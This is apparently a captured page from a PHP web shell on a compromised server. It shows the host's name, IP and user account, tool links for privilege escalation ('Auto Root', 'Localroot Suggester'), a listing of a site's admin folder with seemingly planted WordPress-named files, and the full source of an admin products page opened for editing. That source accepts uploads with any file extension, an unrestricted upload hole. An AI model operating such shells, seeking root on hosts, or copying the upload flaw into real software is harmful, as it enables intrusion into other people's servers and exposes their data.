Linux spg1.cloudpowerdns.com 5.14.0-611.34.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 18 05:51:10 EST 2026 x86_64
LiteSpeed
Server IP : 176.9.63.151 & Your IP : 216.73.217.60
Domains :
Cant Read [ /etc/named.conf ]
User : fastear1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
fastear1 /
abayar /
admin /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
197
B
-r--r--r--
2026-04-01 03:43
ads.php
10.11
KB
-rw-r--r--
2025-12-22 20:20
announcements.php
8.13
KB
-rw-r--r--
2025-12-25 17:46
banners.php
9.86
KB
-rw-r--r--
2025-12-22 19:19
boosts.php
5.51
KB
-rw-r--r--
2025-12-24 21:41
daily_targets.php
11.29
KB
-rw-r--r--
2025-12-26 07:59
dashboard.php
9.23
KB
-rw-r--r--
2025-12-25 12:46
deposits.php
13.59
KB
-rw-r--r--
2026-01-26 16:58
dpin_requests.php
7.43
KB
-rw-r--r--
2025-12-24 21:41
dpins.php
9.37
KB
-rw-r--r--
2025-12-23 19:48
error_log
1.14
KB
-rw-r--r--
2026-01-07 16:39
footer.php
122
B
-rw-r--r--
2025-12-25 18:15
header.php
6.83
KB
-rw-r--r--
2026-01-26 17:15
login.php
4.42
KB
-rw-r--r--
2026-01-26 17:46
lucky_wheel.php
24.12
KB
-rw-r--r--
2026-01-26 16:57
orders.php
12.63
KB
-rw-r--r--
2026-01-07 16:27
payment_methods.php
6.53
KB
-rw-r--r--
2025-12-23 19:24
plans.php
22.86
KB
-rw-r--r--
2025-12-29 11:03
products.php
10.72
KB
-rw-r--r--
2026-01-07 16:15
ranks.php
7.31
KB
-rw-r--r--
2025-12-25 16:48
referrals.php
8.7
KB
-rw-r--r--
2025-12-25 12:43
return.php
440
B
-rw-r--r--
2025-12-29 13:55
settings.php
10.77
KB
-rw-r--r--
2026-01-07 16:26
tickets.php
11.98
KB
-rw-r--r--
2025-12-22 19:21
users.php
18.1
KB
-rw-r--r--
2025-12-29 13:53
withdraws.php
11.42
KB
-rw-r--r--
2025-12-24 22:29
wp-blog-header.php
2.74
KB
-r--r--r--
2026-04-01 03:43
wp-cron.php
2.74
KB
-rw-r--r--
2026-04-01 03:43
Save
Rename
<?php define('ADMIN_PANEL', true); require_once '../includes/config.php'; requireAdmin(); $page_title = 'Manage Products'; // Handle product actions if ($_SERVER['REQUEST_METHOD'] === 'POST') { $action = $_POST['action']; try { if ($action === 'create' || $action === 'update') { $name = $_POST['name']; $price = $_POST['price']; $description = $_POST['description']; $status = $_POST['status']; $image = ''; if (isset($_FILES['image']) && $_FILES['image']['error'] === UPLOAD_ERR_OK) { $uploadDir = '../uploads/products/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0777, true); } $extension = pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION); $filename = uniqid() . '.' . $extension; move_uploaded_file($_FILES['image']['tmp_name'], $uploadDir . $filename); $image = $filename; } else if ($action === 'update' && !empty($_POST['existing_image'])) { $image = $_POST['existing_image']; } if ($action === 'create') { $stmt = $pdo->prepare("INSERT INTO products (name, price, description, image, status) VALUES (?, ?, ?, ?, ?)"); $stmt->execute([$name, $price, $description, $image, $status]); setSuccess("Product created successfully!"); } else { $id = $_POST['id']; $stmt = $pdo->prepare("UPDATE products SET name = ?, price = ?, description = ?, image = ?, status = ? WHERE id = ?"); $stmt->execute([$name, $price, $description, $image, $status, $id]); setSuccess("Product updated successfully!"); } } elseif ($action === 'delete') { $id = $_POST['id']; $stmt = $pdo->prepare("DELETE FROM products WHERE id = ?"); $stmt->execute([$id]); setSuccess("Product deleted successfully!"); } elseif ($action === 'toggle_status') { $id = $_POST['id']; $stmt = $pdo->prepare("UPDATE products SET status = IF(status='active', 'inactive', 'active') WHERE id = ?"); $stmt->execute([$id]); setSuccess("Product status toggled!"); } } catch (Exception $e) { setError("Error: " . $e->getMessage()); } header('Location: products.php'); exit; } // Get all products $stmt = $pdo->query("SELECT * FROM products ORDER BY created_at DESC"); $products = $stmt->fetchAll(); $editProduct = null; if (isset($_GET['edit'])) { $stmt = $pdo->prepare("SELECT * FROM products WHERE id = ?"); $stmt->execute([$_GET['edit']]); $editProduct = $stmt->fetch(); } include 'header.php'; ?> <div class="card"> <div class="card-header"> <i class="fas fa-box"></i> <?php echo $editProduct ? 'Edit Product' : 'Add New Product'; ?> </div> <div class="card-body"> <form method="POST" enctype="multipart/form-data"> <input type="hidden" name="action" value="<?php echo $editProduct ? 'update' : 'create'; ?>"> <?php if ($editProduct): ?> <input type="hidden" name="id" value="<?php echo $editProduct['id']; ?>"> <input type="hidden" name="existing_image" value="<?php echo $editProduct['image']; ?>"> <?php endif; ?> <div class="form-group"> <label class="form-label">Product Name</label> <input type="text" name="name" class="form-control" value="<?php echo $editProduct ? htmlspecialchars($editProduct['name']) : ''; ?>" required> </div> <div class="form-group"> <label class="form-label">Price (<?php echo getSetting('currency_symbol', '$'); ?>)</label> <input type="number" name="price" id="price_input" step="0.01" class="form-control" value="<?php echo $editProduct ? $editProduct['price'] : ''; ?>" required> <small style="color: var(--text-secondary); display: block; margin-top: 5px;"> Equivalent in PKR: <strong id="pkr_preview" style="color: var(--primary-color);">0.00</strong> PKR </small> </div> <script> const pkrRate = <?php echo getSetting('pkr_rate', '280'); ?>; const priceInput = document.getElementById('price_input'); const pkrPreview = document.getElementById('pkr_preview'); function updatePKR() { const price = parseFloat(priceInput.value) || 0; pkrPreview.innerText = (price * pkrRate).toLocaleString(undefined, { minimumFractionDigits: 2, maximumFractionDigits: 2 }); } priceInput.addEventListener('input', updatePKR); updatePKR(); // Initial call </script> <div class="form-group"> <label class="form-label">Description</label> <textarea name="description" class="form-control" rows="4"><?php echo $editProduct ? htmlspecialchars($editProduct['description']) : ''; ?></textarea> </div> <div class="form-group"> <label class="form-label">Product Image</label> <input type="file" name="image" class="form-control" accept="image/*" <?php echo $editProduct ? '' : 'required'; ?>> <?php if ($editProduct && $editProduct['image']): ?> <div style="margin-top: 10px;"> <img src="../uploads/products/<?php echo $editProduct['image']; ?>" alt="Product" style="width: 100px; height: 100px; object-fit: cover; border-radius: 8px;"> </div> <?php endif; ?> </div> <div class="form-group"> <label class="form-label">Status</label> <select name="status" class="form-control"> <option value="active" <?php echo ($editProduct && $editProduct['status'] === 'active') ? 'selected' : ''; ?>>Active</option> <option value="inactive" <?php echo ($editProduct && $editProduct['status'] === 'inactive') ? 'selected' : ''; ?>>Inactive</option> </select> </div> <button type="submit" class="btn btn-primary"> <i class="fas fa-save"></i> <?php echo $editProduct ? 'Update Product' : 'Add Product'; ?> </button> <?php if ($editProduct): ?> <a href="products.php" class="btn btn-secondary">Cancel</a> <?php endif; ?> </form> </div> </div> <div class="card" style="margin-top: 20px;"> <div class="card-header"> <i class="fas fa-list"></i> Product List </div> <div class="card-body"> <div style="overflow-x: auto;"> <table class="table"> <thead> <tr> <th>Image</th> <th>Name</th> <th>Price (USD)</th> <th>Price (PKR)</th> <th>Status</th> <th>Actions</th> </tr> </thead> <tbody> <?php $pkr_rate = (float) getSetting('pkr_rate', '280'); foreach ($products as $product): ?> <tr> <td> <img src="../uploads/products/<?php echo $product['image']; ?>" alt="Product" style="width: 50px; height: 50px; object-fit: cover; border-radius: 4px;"> </td> <td><?php echo htmlspecialchars($product['name']); ?></td> <td><strong><?php echo formatCurrency($product['price']); ?></strong></td> <td><strong style="color: var(--primary-color);"><?php echo number_format($product['price'] * $pkr_rate, 2); ?> PKR</strong></td> <td> <span class="badge badge-<?php echo $product['status'] === 'active' ? 'success' : 'danger'; ?>"> <?php echo ucfirst($product['status']); ?> </span> </td> <td> <div style="display: flex; gap: 5px;"> <a href="products.php?edit=<?php echo $product['id']; ?>" class="btn btn-sm btn-secondary"> <i class="fas fa-edit"></i> </a> <form method="POST" style="display:inline;"> <input type="hidden" name="action" value="toggle_status"> <input type="hidden" name="id" value="<?php echo $product['id']; ?>"> <button type="submit" class="btn btn-sm btn-warning"> <i class="fas fa-power-off"></i> </button> </form> <form method="POST" style="display:inline;" onsubmit="return confirm('Delete this product?')"> <input type="hidden" name="action" value="delete"> <input type="hidden" name="id" value="<?php echo $product['id']; ?>"> <button type="submit" class="btn btn-sm btn-danger"> <i class="fas fa-trash"></i> </button> </form> </div> </td> </tr> <?php endforeach; ?> <?php if (empty($products)): ?> <tr> <td colspan="5" style="text-align: center;">No products found.</td> </tr> <?php endif; ?> </tbody> </table> </div> </div> </div> <?php include 'footer.php'; ?>